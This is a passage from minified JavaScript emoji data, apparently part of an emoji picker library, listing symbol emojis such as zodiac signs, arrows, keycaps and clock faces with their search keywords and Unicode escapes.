d2f",fitzpatrick_scale:!1,category:"symbols"},menorah:{keywords:["hanukkah","candles","jewish"],char:"\ud83d\udd4e",fitzpatrick_scale:!1,category:"symbols"},yin_yang:{keywords:["balance"],char:"\u262f",fitzpatrick_scale:!1,category:"symbols"},orthodox_cross:{keywords:["suppedaneum","religion"],char:"\u2626",fitzpatrick_scale:!1,category:"symbols"},place_of_worship:{keywords:["religion","church","temple","prayer"],char:"\ud83d\uded0",fitzpatrick_scale:!1,category:"symbols"},ophiuchus:{keywords:["sign","purple-square","constellation","astrology"],char:"\u26ce",fitzpatrick_scale:!1,category:"symbols"},aries:{keywords:["sign","purple-square","zodiac","astrology"],char:"\u2648",fitzpatrick_scale:!1,category:"symbols"},taurus:{keywords:["purple-square","sign","zodiac","astrology"],char:"\u2649",fitzpatrick_scale:!1,category:"symbols"},gemini:{keywords:["sign","zodiac","purple-square","astrology"],char:"\u264a",fitzpatrick_scale:!1,category:"symbols"},cancer:{keywords:["sign","zodiac","purple-square","astrology"],char:"\u264b",fitzpatrick_scale:!1,category:"symbols"},leo:{keywords:["sign","purple-square","zodiac","astrology"],char:"\u264c",fitzpatrick_scale:!1,category:"symbols"},virgo:{keywords:["sign","zodiac","purple-square","astrology"],char:"\u264d",fitzpatrick_scale:!1,category:"symbols"},libra:{keywords:["sign","purple-square","zodiac","astrology"],char:"\u264e",fitzpatrick_scale:!1,category:"symbols"},scorpius:{keywords:["sign","zodiac","purple-square","astrology","scorpio"],char:"\u264f",fitzpatrick_scale:!1,category:"symbols"},sagittarius:{keywords:["sign","zodiac","purple-square","astrology"],char:"\u2650",fitzpatrick_scale:!1,category:"symbols"},capricorn:{keywords:["sign","zodiac","purple-square","astrology"],char:"\u2651",fitzpatrick_scale:!1,category:"symbols"},aquarius:{keywords:["sign","purple-square","zodiac","astrology"],char:"\u2652",fitzpatrick_scale:!1,category:"symbols"},pisces:{keywords:["purple-square","sign","zodiac","astrology"],char:"\u2653",fitzpatrick_scale:!1,category:"symbols"},id:{keywords:["purple-square","words"],char:"\ud83c\udd94",fitzpatrick_scale:!1,category:"symbols"},atom_symbol:{keywords:["science","physics","chemistry"],char:"\u269b",fitzpatrick_scale:!1,category:"symbols"},u7a7a:{keywords:["kanji","japanese","chinese","empty","sky","blue-square"],char:"\ud83c\ude33",fitzpatrick_scale:!1,category:"symbols"},u5272:{keywords:["cut","divide","chinese","kanji","pink-square"],char:"\ud83c\ude39",fitzpatrick_scale:!1,category:"symbols"},radioactive:{keywords:["nuclear","danger"],char:"\u2622",fitzpatrick_scale:!1,category:"symbols"},biohazard:{keywords:["danger"],char:"\u2623",fitzpatrick_scale:!1,category:"symbols"},mobile_phone_off:{keywords:["mute","orange-square","silence","quiet"],char:"\ud83d\udcf4",fitzpatrick_scale:!1,category:"symbols"},vibration_mode:{keywords:["orange-square","phone"],char:"\ud83d\udcf3",fitzpatrick_scale:!1,category:"symbols"},u6709:{keywords:["orange-square","chinese","have","kanji"],char:"\ud83c\ude36",fitzpatrick_scale:!1,category:"symbols"},u7121:{keywords:["nothing","chinese","kanji","japanese","orange-square"],char:"\ud83c\ude1a",fitzpatrick_scale:!1,category:"symbols"},u7533:{keywords:["chinese","japanese","kanji","orange-square"],char:"\ud83c\ude38",fitzpatrick_scale:!1,category:"symbols"},u55b6:{keywords:["japanese","opening hours","orange-square"],char:"\ud83c\ude3a",fitzpatrick_scale:!1,category:"symbols"},u6708:{keywords:["chinese","month","moon","japanese","orange-square","kanji"],char:"\ud83c\ude37\ufe0f",fitzpatrick_scale:!1,category:"symbols"},eight_pointed_black_star:{keywords:["orange-square","shape","polygon"],char:"\u2734\ufe0f",fitzpatrick_scale:!1,category:"symbols"},vs:{keywords:["words","orange-square"],char:"\ud83c\udd9a",fitzpatrick_scale:!1,category:"symbols"},accept:{keywords:["ok","good","chinese","kanji","agree","yes","orange-circle"],char:"\ud83c\ude51",fitzpatrick_scale:!1,category:"symbols"},white_flower:{keywords:["japanese","spring"],char:"\ud83d\udcae",fitzpatrick_scale:!1,category:"symbols"},ideograph_advantage:{keywords:["chinese","kanji","obtain","get","circle"],char:"\ud83c\ude50",fitzpatrick_scale:!1,category:"symbols"},secret:{keywords:["privacy","chinese","sshh","kanji","red-circle"],char:"\u3299\ufe0f",fitzpatrick_scale:!1,category:"symbols"},congratulations:{keywords:["chinese","kanji","japanese","red-circle"],char:"\u3297\ufe0f",fitzpatrick_scale:!1,category:"symbols"},u5408:{keywords:["japanese","chinese","join","kanji","red-square"],char:"\ud83c\ude34",fitzpatrick_scale:!1,category:"symbols"},u6e80:{keywords:["full","chinese","japanese","red-square","kanji"],char:"\ud83c\ude35",fitzpatrick_scale:!1,category:"symbols"},u7981:{keywords:["kanji","japanese","chinese","forbidden","limit","restricted","red-square"],char:"\ud83c\ude32",fitzpatrick_scale:!1,category:"symbols"},a:{keywords:["red-square","alphabet","letter"],char:"\ud83c\udd70\ufe0f",fitzpatrick_scale:!1,category:"symbols"},b:{keywords:["red-square","alphabet","letter"],char:"\ud83c\udd71\ufe0f",fitzpatrick_scale:!1,category:"symbols"},ab:{keywords:["red-square","alphabet"],char:"\ud83c\udd8e",fitzpatrick_scale:!1,category:"symbols"},cl:{keywords:["alphabet","words","red-square"],char:"\ud83c\udd91",fitzpatrick_scale:!1,category:"symbols"},o2:{keywords:["alphabet","red-square","letter"],char:"\ud83c\udd7e\ufe0f",fitzpatrick_scale:!1,category:"symbols"},sos:{keywords:["help","red-square","words","emergency","911"],char:"\ud83c\udd98",fitzpatrick_scale:!1,category:"symbols"},no_entry:{keywords:["limit","security","privacy","bad","denied","stop","circle"],char:"\u26d4",fitzpatrick_scale:!1,category:"symbols"},name_badge:{keywords:["fire","forbid"],char:"\ud83d\udcdb",fitzpatrick_scale:!1,category:"symbols"},no_entry_sign:{keywords:["forbid","stop","limit","denied","disallow","circle"],char:"\ud83d\udeab",fitzpatrick_scale:!1,category:"symbols"},x:{keywords:["no","delete","remove","cancel","red"],char:"\u274c",fitzpatrick_scale:!1,category:"symbols"},o:{keywords:["circle","round"],char:"\u2b55",fitzpatrick_scale:!1,category:"symbols"},stop_sign:{keywords:["stop"],char:"\ud83d\uded1",fitzpatrick_scale:!1,category:"symbols"},anger:{keywords:["angry","mad"],char:"\ud83d\udca2",fitzpatrick_scale:!1,category:"symbols"},hotsprings:{keywords:["bath","warm","relax"],char:"\u2668\ufe0f",fitzpatrick_scale:!1,category:"symbols"},no_pedestrians:{keywords:["rules","crossing","walking","circle"],char:"\ud83d\udeb7",fitzpatrick_scale:!1,category:"symbols"},do_not_litter:{keywords:["trash","bin","garbage","circle"],char:"\ud83d\udeaf",fitzpatrick_scale:!1,category:"symbols"},no_bicycles:{keywords:["cyclist","prohibited","circle"],char:"\ud83d\udeb3",fitzpatrick_scale:!1,category:"symbols"},"non-potable_water":{keywords:["drink","faucet","tap","circle"],char:"\ud83d\udeb1",fitzpatrick_scale:!1,category:"symbols"},underage:{keywords:["18","drink","pub","night","minor","circle"],char:"\ud83d\udd1e",fitzpatrick_scale:!1,category:"symbols"},no_mobile_phones:{keywords:["iphone","mute","circle"],char:"\ud83d\udcf5",fitzpatrick_scale:!1,category:"symbols"},exclamation:{keywords:["heavy_exclamation_mark","danger","surprise","punctuation","wow","warning"],char:"\u2757",fitzpatrick_scale:!1,category:"symbols"},grey_exclamation:{keywords:["surprise","punctuation","gray","wow","warning"],char:"\u2755",fitzpatrick_scale:!1,category:"symbols"},question:{keywords:["doubt","confused"],char:"\u2753",fitzpatrick_scale:!1,category:"symbols"},grey_question:{keywords:["doubts","gray","huh","confused"],char:"\u2754",fitzpatrick_scale:!1,category:"symbols"},bangbang:{keywords:["exclamation","surprise"],char:"\u203c\ufe0f",fitzpatrick_scale:!1,category:"symbols"},interrobang:{keywords:["wat","punctuation","surprise"],char:"\u2049\ufe0f",fitzpatrick_scale:!1,category:"symbols"},100:{keywords:["score","perfect","numbers","century","exam","quiz","test","pass","hundred"],char:"\ud83d\udcaf",fitzpatrick_scale:!1,category:"symbols"},low_brightness:{keywords:["sun","afternoon","warm","summer"],char:"\ud83d\udd05",fitzpatrick_scale:!1,category:"symbols"},high_brightness:{keywords:["sun","light"],char:"\ud83d\udd06",fitzpatrick_scale:!1,category:"symbols"},trident:{keywords:["weapon","spear"],char:"\ud83d\udd31",fitzpatrick_scale:!1,category:"symbols"},fleur_de_lis:{keywords:["decorative","scout"],char:"\u269c",fitzpatrick_scale:!1,category:"symbols"},part_alternation_mark:{keywords:["graph","presentation","stats","business","economics","bad"],char:"\u303d\ufe0f",fitzpatrick_scale:!1,category:"symbols"},warning:{keywords:["exclamation","wip","alert","error","problem","issue"],char:"\u26a0\ufe0f",fitzpatrick_scale:!1,category:"symbols"},children_crossing:{keywords:["school","warning","danger","sign","driving","yellow-diamond"],char:"\ud83d\udeb8",fitzpatrick_scale:!1,category:"symbols"},beginner:{keywords:["badge","shield"],char:"\ud83d\udd30",fitzpatrick_scale:!1,category:"symbols"},recycle:{keywords:["arrow","environment","garbage","trash"],char:"\u267b\ufe0f",fitzpatrick_scale:!1,category:"symbols"},u6307:{keywords:["chinese","point","green-square","kanji"],char:"\ud83c\ude2f",fitzpatrick_scale:!1,category:"symbols"},chart:{keywords:["green-square","graph","presentation","stats"],char:"\ud83d\udcb9",fitzpatrick_scale:!1,category:"symbols"},sparkle:{keywords:["stars","green-square","awesome","good","fireworks"],char:"\u2747\ufe0f",fitzpatrick_scale:!1,category:"symbols"},eight_spoked_asterisk:{keywords:["star","sparkle","green-square"],char:"\u2733\ufe0f",fitzpatrick_scale:!1,category:"symbols"},negative_squared_cross_mark:{keywords:["x","green-square","no","deny"],char:"\u274e",fitzpatrick_scale:!1,category:"symbols"},white_check_mark:{keywords:["green-square","ok","agree","vote","election","answer","tick"],char:"\u2705",fitzpatrick_scale:!1,category:"symbols"},diamond_shape_with_a_dot_inside:{keywords:["jewel","blue","gem","crystal","fancy"],char:"\ud83d\udca0",fitzpatrick_scale:!1,category:"symbols"},cyclone:{keywords:["weather","swirl","blue","cloud","vortex","spiral","whirlpool","spin","tornado","hurricane","typhoon"],char:"\ud83c\udf00",fitzpatrick_scale:!1,category:"symbols"},loop:{keywords:["tape","cassette"],char:"\u27bf",fitzpatrick_scale:!1,category:"symbols"},globe_with_meridians:{keywords:["earth","international","world","internet","interweb","i18n"],char:"\ud83c\udf10",fitzpatrick_scale:!1,category:"symbols"},m:{keywords:["alphabet","blue-circle","letter"],char:"\u24c2\ufe0f",fitzpatrick_scale:!1,category:"symbols"},atm:{keywords:["money","sales","cash","blue-square","payment","bank"],char:"\ud83c\udfe7",fitzpatrick_scale:!1,category:"symbols"},sa:{keywords:["japanese","blue-square","katakana"],char:"\ud83c\ude02\ufe0f",fitzpatrick_scale:!1,category:"symbols"},passport_control:{keywords:["custom","blue-square"],char:"\ud83d\udec2",fitzpatrick_scale:!1,category:"symbols"},customs:{keywords:["passport","border","blue-square"],char:"\ud83d\udec3",fitzpatrick_scale:!1,category:"symbols"},baggage_claim:{keywords:["blue-square","airport","transport"],char:"\ud83d\udec4",fitzpatrick_scale:!1,category:"symbols"},left_luggage:{keywords:["blue-square","travel"],char:"\ud83d\udec5",fitzpatrick_scale:!1,category:"symbols"},wheelchair:{keywords:["blue-square","disabled","a11y","accessibility"],char:"\u267f",fitzpatrick_scale:!1,category:"symbols"},no_smoking:{keywords:["cigarette","blue-square","smell","smoke"],char:"\ud83d\udead",fitzpatrick_scale:!1,category:"symbols"},wc:{keywords:["toilet","restroom","blue-square"],char:"\ud83d\udebe",fitzpatrick_scale:!1,category:"symbols"},parking:{keywords:["cars","blue-square","alphabet","letter"],char:"\ud83c\udd7f\ufe0f",fitzpatrick_scale:!1,category:"symbols"},potable_water:{keywords:["blue-square","liquid","restroom","cleaning","faucet"],char:"\ud83d\udeb0",fitzpatrick_scale:!1,category:"symbols"},mens:{keywords:["toilet","restroom","wc","blue-square","gender","male"],char:"\ud83d\udeb9",fitzpatrick_scale:!1,category:"symbols"},womens:{keywords:["purple-square","woman","female","toilet","loo","restroom","gender"],char:"\ud83d\udeba",fitzpatrick_scale:!1,category:"symbols"},baby_symbol:{keywords:["orange-square","child"],char:"\ud83d\udebc",fitzpatrick_scale:!1,category:"symbols"},restroom:{keywords:["blue-square","toilet","refresh","wc","gender"],char:"\ud83d\udebb",fitzpatrick_scale:!1,category:"symbols"},put_litter_in_its_place:{keywords:["blue-square","sign","human","info"],char:"\ud83d\udeae",fitzpatrick_scale:!1,category:"symbols"},cinema:{keywords:["blue-square","record","film","movie","curtain","stage","theater"],char:"\ud83c\udfa6",fitzpatrick_scale:!1,category:"symbols"},signal_strength:{keywords:["blue-square","reception","phone","internet","connection","wifi","bluetooth","bars"],char:"\ud83d\udcf6",fitzpatrick_scale:!1,category:"symbols"},koko:{keywords:["blue-square","here","katakana","japanese","destination"],char:"\ud83c\ude01",fitzpatrick_scale:!1,category:"symbols"},ng:{keywords:["blue-square","words","shape","icon"],char:"\ud83c\udd96",fitzpatrick_scale:!1,category:"symbols"},ok:{keywords:["good","agree","yes","blue-square"],char:"\ud83c\udd97",fitzpatrick_scale:!1,category:"symbols"},up:{keywords:["blue-square","above","high"],char:"\ud83c\udd99",fitzpatrick_scale:!1,category:"symbols"},cool:{keywords:["words","blue-square"],char:"\ud83c\udd92",fitzpatrick_scale:!1,category:"symbols"},new:{keywords:["blue-square","words","start"],char:"\ud83c\udd95",fitzpatrick_scale:!1,category:"symbols"},free:{keywords:["blue-square","words"],char:"\ud83c\udd93",fitzpatrick_scale:!1,category:"symbols"},zero:{keywords:["0","numbers","blue-square","null"],char:"0\ufe0f\u20e3",fitzpatrick_scale:!1,category:"symbols"},one:{keywords:["blue-square","numbers","1"],char:"1\ufe0f\u20e3",fitzpatrick_scale:!1,category:"symbols"},two:{keywords:["numbers","2","prime","blue-square"],char:"2\ufe0f\u20e3",fitzpatrick_scale:!1,category:"symbols"},three:{keywords:["3","numbers","prime","blue-square"],char:"3\ufe0f\u20e3",fitzpatrick_scale:!1,category:"symbols"},four:{keywords:["4","numbers","blue-square"],char:"4\ufe0f\u20e3",fitzpatrick_scale:!1,category:"symbols"},five:{keywords:["5","numbers","blue-square","prime"],char:"5\ufe0f\u20e3",fitzpatrick_scale:!1,category:"symbols"},six:{keywords:["6","numbers","blue-square"],char:"6\ufe0f\u20e3",fitzpatrick_scale:!1,category:"symbols"},seven:{keywords:["7","numbers","blue-square","prime"],char:"7\ufe0f\u20e3",fitzpatrick_scale:!1,category:"symbols"},eight:{keywords:["8","blue-square","numbers"],char:"8\ufe0f\u20e3",fitzpatrick_scale:!1,category:"symbols"},nine:{keywords:["blue-square","numbers","9"],char:"9\ufe0f\u20e3",fitzpatrick_scale:!1,category:"symbols"},keycap_ten:{keywords:["numbers","10","blue-square"],char:"\ud83d\udd1f",fitzpatrick_scale:!1,category:"symbols"},asterisk:{keywords:["star","keycap"],char:"*\u20e3",fitzpatrick_scale:!1,category:"symbols"},1234:{keywords:["numbers","blue-square"],char:"\ud83d\udd22",fitzpatrick_scale:!1,category:"symbols"},eject_button:{keywords:["blue-square"],char:"\u23cf\ufe0f",fitzpatrick_scale:!1,category:"symbols"},arrow_forward:{keywords:["blue-square","right","direction","play"],char:"\u25b6\ufe0f",fitzpatrick_scale:!1,category:"symbols"},pause_button:{keywords:["pause","blue-square"],char:"\u23f8",fitzpatrick_scale:!1,category:"symbols"},next_track_button:{keywords:["forward","next","blue-square"],char:"\u23ed",fitzpatrick_scale:!1,category:"symbols"},stop_button:{keywords:["blue-square"],char:"\u23f9",fitzpatrick_scale:!1,category:"symbols"},record_button:{keywords:["blue-square"],char:"\u23fa",fitzpatrick_scale:!1,category:"symbols"},play_or_pause_button:{keywords:["blue-square","play","pause"],char:"\u23ef",fitzpatrick_scale:!1,category:"symbols"},previous_track_button:{keywords:["backward"],char:"\u23ee",fitzpatrick_scale:!1,category:"symbols"},fast_forward:{keywords:["blue-square","play","speed","continue"],char:"\u23e9",fitzpatrick_scale:!1,category:"symbols"},rewind:{keywords:["play","blue-square"],char:"\u23ea",fitzpatrick_scale:!1,category:"symbols"},twisted_rightwards_arrows:{keywords:["blue-square","shuffle","music","random"],char:"\ud83d\udd00",fitzpatrick_scale:!1,category:"symbols"},repeat:{keywords:["loop","record"],char:"\ud83d\udd01",fitzpatrick_scale:!1,category:"symbols"},repeat_one:{keywords:["blue-square","loop"],char:"\ud83d\udd02",fitzpatrick_scale:!1,category:"symbols"},arrow_backward:{keywords:["blue-square","left","direction"],char:"\u25c0\ufe0f",fitzpatrick_scale:!1,category:"symbols"},arrow_up_small:{keywords:["blue-square","triangle","direction","point","forward","top"],char:"\ud83d\udd3c",fitzpatrick_scale:!1,category:"symbols"},arrow_down_small:{keywords:["blue-square","direction","bottom"],char:"\ud83d\udd3d",fitzpatrick_scale:!1,category:"symbols"},arrow_double_up:{keywords:["blue-square","direction","top"],char:"\u23eb",fitzpatrick_scale:!1,category:"symbols"},arrow_double_down:{keywords:["blue-square","direction","bottom"],char:"\u23ec",fitzpatrick_scale:!1,category:"symbols"},arrow_right:{keywords:["blue-square","next"],char:"\u27a1\ufe0f",fitzpatrick_scale:!1,category:"symbols"},arrow_left:{keywords:["blue-square","previous","back"],char:"\u2b05\ufe0f",fitzpatrick_scale:!1,category:"symbols"},arrow_up:{keywords:["blue-square","continue","top","direction"],char:"\u2b06\ufe0f",fitzpatrick_scale:!1,category:"symbols"},arrow_down:{keywords:["blue-square","direction","bottom"],char:"\u2b07\ufe0f",fitzpatrick_scale:!1,category:"symbols"},arrow_upper_right:{keywords:["blue-square","point","direction","diagonal","northeast"],char:"\u2197\ufe0f",fitzpatrick_scale:!1,category:"symbols"},arrow_lower_right:{keywords:["blue-square","direction","diagonal","southeast"],char:"\u2198\ufe0f",fitzpatrick_scale:!1,category:"symbols"},arrow_lower_left:{keywords:["blue-square","direction","diagonal","southwest"],char:"\u2199\ufe0f",fitzpatrick_scale:!1,category:"symbols"},arrow_upper_left:{keywords:["blue-square","point","direction","diagonal","northwest"],char:"\u2196\ufe0f",fitzpatrick_scale:!1,category:"symbols"},arrow_up_down:{keywords:["blue-square","direction","way","vertical"],char:"\u2195\ufe0f",fitzpatrick_scale:!1,category:"symbols"},left_right_arrow:{keywords:["shape","direction","horizontal","sideways"],char:"\u2194\ufe0f",fitzpatrick_scale:!1,category:"symbols"},arrows_counterclockwise:{keywords:["blue-square","sync","cycle"],char:"\ud83d\udd04",fitzpatrick_scale:!1,category:"symbols"},arrow_right_hook:{keywords:["blue-square","return","rotate","direction"],char:"\u21aa\ufe0f",fitzpatrick_scale:!1,category:"symbols"},leftwards_arrow_with_hook:{keywords:["back","return","blue-square","undo","enter"],char:"\u21a9\ufe0f",fitzpatrick_scale:!1,category:"symbols"},arrow_heading_up:{keywords:["blue-square","direction","top"],char:"\u2934\ufe0f",fitzpatrick_scale:!1,category:"symbols"},arrow_heading_down:{keywords:["blue-square","direction","bottom"],char:"\u2935\ufe0f",fitzpatrick_scale:!1,category:"symbols"},hash:{keywords:["symbol","blue-square","twitter"],char:"#\ufe0f\u20e3",fitzpatrick_scale:!1,category:"symbols"},information_source:{keywords:["blue-square","alphabet","letter"],char:"\u2139\ufe0f",fitzpatrick_scale:!1,category:"symbols"},abc:{keywords:["blue-square","alphabet"],char:"\ud83d\udd24",fitzpatrick_scale:!1,category:"symbols"},abcd:{keywords:["blue-square","alphabet"],char:"\ud83d\udd21",fitzpatrick_scale:!1,category:"symbols"},capital_abcd:{keywords:["alphabet","words","blue-square"],char:"\ud83d\udd20",fitzpatrick_scale:!1,category:"symbols"},symbols:{keywords:["blue-square","music","note","ampersand","percent","glyphs","characters"],char:"\ud83d\udd23",fitzpatrick_scale:!1,category:"symbols"},musical_note:{keywords:["score","tone","sound"],char:"\ud83c\udfb5",fitzpatrick_scale:!1,category:"symbols"},notes:{keywords:["music","score"],char:"\ud83c\udfb6",fitzpatrick_scale:!1,category:"symbols"},wavy_dash:{keywords:["draw","line","moustache","mustache","squiggle","scribble"],char:"\u3030\ufe0f",fitzpatrick_scale:!1,category:"symbols"},curly_loop:{keywords:["scribble","draw","shape","squiggle"],char:"\u27b0",fitzpatrick_scale:!1,category:"symbols"},heavy_check_mark:{keywords:["ok","nike","answer","yes","tick"],char:"\u2714\ufe0f",fitzpatrick_scale:!1,category:"symbols"},arrows_clockwise:{keywords:["sync","cycle","round","repeat"],char:"\ud83d\udd03",fitzpatrick_scale:!1,category:"symbols"},heavy_plus_sign:{keywords:["math","calculation","addition","more","increase"],char:"\u2795",fitzpatrick_scale:!1,category:"symbols"},heavy_minus_sign:{keywords:["math","calculation","subtract","less"],char:"\u2796",fitzpatrick_scale:!1,category:"symbols"},heavy_division_sign:{keywords:["divide","math","calculation"],char:"\u2797",fitzpatrick_scale:!1,category:"symbols"},heavy_multiplication_x:{keywords:["math","calculation"],char:"\u2716\ufe0f",fitzpatrick_scale:!1,category:"symbols"},infinity:{keywords:["forever"],char:"\u267e",fitzpatrick_scale:!1,category:"symbols"},heavy_dollar_sign:{keywords:["money","sales","payment","currency","buck"],char:"\ud83d\udcb2",fitzpatrick_scale:!1,category:"symbols"},currency_exchange:{keywords:["money","sales","dollar","travel"],char:"\ud83d\udcb1",fitzpatrick_scale:!1,category:"symbols"},copyright:{keywords:["ip","license","circle","law","legal"],char:"\xa9\ufe0f",fitzpatrick_scale:!1,category:"symbols"},registered:{keywords:["alphabet","circle"],char:"\xae\ufe0f",fitzpatrick_scale:!1,category:"symbols"},tm:{keywords:["trademark","brand","law","legal"],char:"\u2122\ufe0f",fitzpatrick_scale:!1,category:"symbols"},end:{keywords:["words","arrow"],char:"\ud83d\udd1a",fitzpatrick_scale:!1,category:"symbols"},back:{keywords:["arrow","words","return"],char:"\ud83d\udd19",fitzpatrick_scale:!1,category:"symbols"},on:{keywords:["arrow","words"],char:"\ud83d\udd1b",fitzpatrick_scale:!1,category:"symbols"},top:{keywords:["words","blue-square"],char:"\ud83d\udd1d",fitzpatrick_scale:!1,category:"symbols"},soon:{keywords:["arrow","words"],char:"\ud83d\udd1c",fitzpatrick_scale:!1,category:"symbols"},ballot_box_with_check:{keywords:["ok","agree","confirm","black-square","vote","election","yes","tick"],char:"\u2611\ufe0f",fitzpatrick_scale:!1,category:"symbols"},radio_button:{keywords:["input","old","music","circle"],char:"\ud83d\udd18",fitzpatrick_scale:!1,category:"symbols"},white_circle:{keywords:["shape","round"],char:"\u26aa",fitzpatrick_scale:!1,category:"symbols"},black_circle:{keywords:["shape","button","round"],char:"\u26ab",fitzpatrick_scale:!1,category:"symbols"},red_circle:{keywords:["shape","error","danger"],char:"\ud83d\udd34",fitzpatrick_scale:!1,category:"symbols"},large_blue_circle:{keywords:["shape","icon","button"],char:"\ud83d\udd35",fitzpatrick_scale:!1,category:"symbols"},small_orange_diamond:{keywords:["shape","jewel","gem"],char:"\ud83d\udd38",fitzpatrick_scale:!1,category:"symbols"},small_blue_diamond:{keywords:["shape","jewel","gem"],char:"\ud83d\udd39",fitzpatrick_scale:!1,category:"symbols"},large_orange_diamond:{keywords:["shape","jewel","gem"],char:"\ud83d\udd36",fitzpatrick_scale:!1,category:"symbols"},large_blue_diamond:{keywords:["shape","jewel","gem"],char:"\ud83d\udd37",fitzpatrick_scale:!1,category:"symbols"},small_red_triangle:{keywords:["shape","direction","up","top"],char:"\ud83d\udd3a",fitzpatrick_scale:!1,category:"symbols"},black_small_square:{keywords:["shape","icon"],char:"\u25aa\ufe0f",fitzpatrick_scale:!1,category:"symbols"},white_small_square:{keywords:["shape","icon"],char:"\u25ab\ufe0f",fitzpatrick_scale:!1,category:"symbols"},black_large_square:{keywords:["shape","icon","button"],char:"\u2b1b",fitzpatrick_scale:!1,category:"symbols"},white_large_square:{keywords:["shape","icon","stone","button"],char:"\u2b1c",fitzpatrick_scale:!1,category:"symbols"},small_red_triangle_down:{keywords:["shape","direction","bottom"],char:"\ud83d\udd3b",fitzpatrick_scale:!1,category:"symbols"},black_medium_square:{keywords:["shape","button","icon"],char:"\u25fc\ufe0f",fitzpatrick_scale:!1,category:"symbols"},white_medium_square:{keywords:["shape","stone","icon"],char:"\u25fb\ufe0f",fitzpatrick_scale:!1,category:"symbols"},black_medium_small_square:{keywords:["icon","shape","button"],char:"\u25fe",fitzpatrick_scale:!1,category:"symbols"},white_medium_small_square:{keywords:["shape","stone","icon","button"],char:"\u25fd",fitzpatrick_scale:!1,category:"symbols"},black_square_button:{keywords:["shape","input","frame"],char:"\ud83d\udd32",fitzpatrick_scale:!1,category:"symbols"},white_square_button:{keywords:["shape","input"],char:"\ud83d\udd33",fitzpatrick_scale:!1,category:"symbols"},speaker:{keywords:["sound","volume","silence","broadcast"],char:"\ud83d\udd08",fitzpatrick_scale:!1,category:"symbols"},sound:{keywords:["volume","speaker","broadcast"],char:"\ud83d\udd09",fitzpatrick_scale:!1,category:"symbols"},loud_sound:{keywords:["volume","noise","noisy","speaker","broadcast"],char:"\ud83d\udd0a",fitzpatrick_scale:!1,category:"symbols"},mute:{keywords:["sound","volume","silence","quiet"],char:"\ud83d\udd07",fitzpatrick_scale:!1,category:"symbols"},mega:{keywords:["sound","speaker","volume"],char:"\ud83d\udce3",fitzpatrick_scale:!1,category:"symbols"},loudspeaker:{keywords:["volume","sound"],char:"\ud83d\udce2",fitzpatrick_scale:!1,category:"symbols"},bell:{keywords:["sound","notification","christmas","xmas","chime"],char:"\ud83d\udd14",fitzpatrick_scale:!1,category:"symbols"},no_bell:{keywords:["sound","volume","mute","quiet","silent"],char:"\ud83d\udd15",fitzpatrick_scale:!1,category:"symbols"},black_joker:{keywords:["poker","cards","game","play","magic"],char:"\ud83c\udccf",fitzpatrick_scale:!1,category:"symbols"},mahjong:{keywords:["game","play","chinese","kanji"],char:"\ud83c\udc04",fitzpatrick_scale:!1,category:"symbols"},spades:{keywords:["poker","cards","suits","magic"],char:"\u2660\ufe0f",fitzpatrick_scale:!1,category:"symbols"},clubs:{keywords:["poker","cards","magic","suits"],char:"\u2663\ufe0f",fitzpatrick_scale:!1,category:"symbols"},hearts:{keywords:["poker","cards","magic","suits"],char:"\u2665\ufe0f",fitzpatrick_scale:!1,category:"symbols"},diamonds:{keywords:["poker","cards","magic","suits"],char:"\u2666\ufe0f",fitzpatrick_scale:!1,category:"symbols"},flower_playing_cards:{keywords:["game","sunset","red"],char:"\ud83c\udfb4",fitzpatrick_scale:!1,category:"symbols"},thought_balloon:{keywords:["bubble","cloud","speech","thinking","dream"],char:"\ud83d\udcad",fitzpatrick_scale:!1,category:"symbols"},right_anger_bubble:{keywords:["caption","speech","thinking","mad"],char:"\ud83d\uddef",fitzpatrick_scale:!1,category:"symbols"},speech_balloon:{keywords:["bubble","words","message","talk","chatting"],char:"\ud83d\udcac",fitzpatrick_scale:!1,category:"symbols"},left_speech_bubble:{keywords:["words","message","talk","chatting"],char:"\ud83d\udde8",fitzpatrick_scale:!1,category:"symbols"},clock1:{keywords:["time","late","early","schedule"],char:"\ud83d\udd50",fitzpatrick_scale:!1,category:"symbols"},clock2:{keywords:["time","late","early","schedule"],char:"\ud83d\udd51",fitzpatrick_scale:!1,category:"symbols"},clock3:{keywords:["time","late","early","schedule"],char:"\ud83d\udd52",fitzpatrick_scale:!1,category:"symbols"},clock4:{keywords:["time","late","early","schedule"],char:"\ud83d\udd53",fitzpatrick_scale:!1,category:"symbols"},clock5:{keywords:["time","late","early","schedule"],char:"\ud83d\udd54",fitzpatrick_scale:!1,category:"symbols"},clock6:{keywords:["time","late","early","schedule","dawn","dusk"],char:"\ud83d\udd55",fitzpatrick_scale:!1,category:"symbols"},clock7:{keywords:["time","late","early","schedule"],char:"\ud83d\udd56",fitzpatrick_scale:!1,category:"symbols"},clock8:{keywords:["time","late","early","schedule"],char:"\ud83d\udd57",fitzpatrick_scale:!1,category:"symbols"},clock9:{keywords:["time","late","early","schedule"],char:"\ud83d\udd58",fitzpatrick_scale:!1,category:"symbols"},clock10:{keywords:["time","late","early","schedule"],char:"\ud83d\udd59",fitzpatrick_scale:!1,category:"symbols"},clock11:{keywords:["time","late","early","schedule"],char:"\ud83d\udd5a",fitzpatrick_scale:!1,category:"symbols"},clock12:{keywords:["time","noon","midnight","midday","late","early","schedule"],char:"\ud83d\udd5b",fitzpatrick_scale:!1,category:"symbols"},clock130:{keywords:["time","late","early","schedule"],char:"\ud83d\udd5c",fitzpatrick_scale:!1,category:"symbols"},clock230:{keywords:["time","late","early","schedule"],char:"\ud83d\udd5d",fitzpatrick_scale:!1,category:"symbols"},clock330:{keywords:["time","late","early","schedule"],char:"\ud83d\udd5e",fitzpatrick_scale:!1,category:"symbols"},clock430:{keywords:["time","late","early","schedule"],char:"\ud83d\udd5f",fitzpatrick_scale:!1,category:"symbols"},clock530:{keywords:["time","late","early","schedule"],char:"\ud83d\udd60",fitzpatrick_scale:!1,category:"symbols"},clock630:{keywords:["time","late","early","schedule"],char:"\ud83d\udd61",fitzpatrick_scale:!1,category:"symbols"},clock730:{keywords:["time","late","early","schedule"],char:"\ud83d\udd62",fitzpatrick_scale:!1,category:"symbols"},clock830:{keywords:["time","late","early","schedule"],char:"\ud83d\udd63",fitzpatrick_scale:!1,category:"symbols"},clock930:{keywords:["time","late","early","schedule"],char:"\ud83d\udd64",fitzpatrick_scale:!1,category:"symbols"},clock1030:{keywords:["time","late","early","schedule"],char:"\ud83d\udd65",fitzpatrick_scale:!1,category:"symbols"},clock1130:{keywords:["time","late","early","schedule"],char:"\ud83d\udd66",fitzpatrick_scale:!1,category:"symbols"},clock1230:{keywords:["time","late","early","schedule"],char:"\ud83d\udd67",fitzpatrick_scale:!1,category:"symbols"},afghanistan:{keywords:["af","flag","nation","c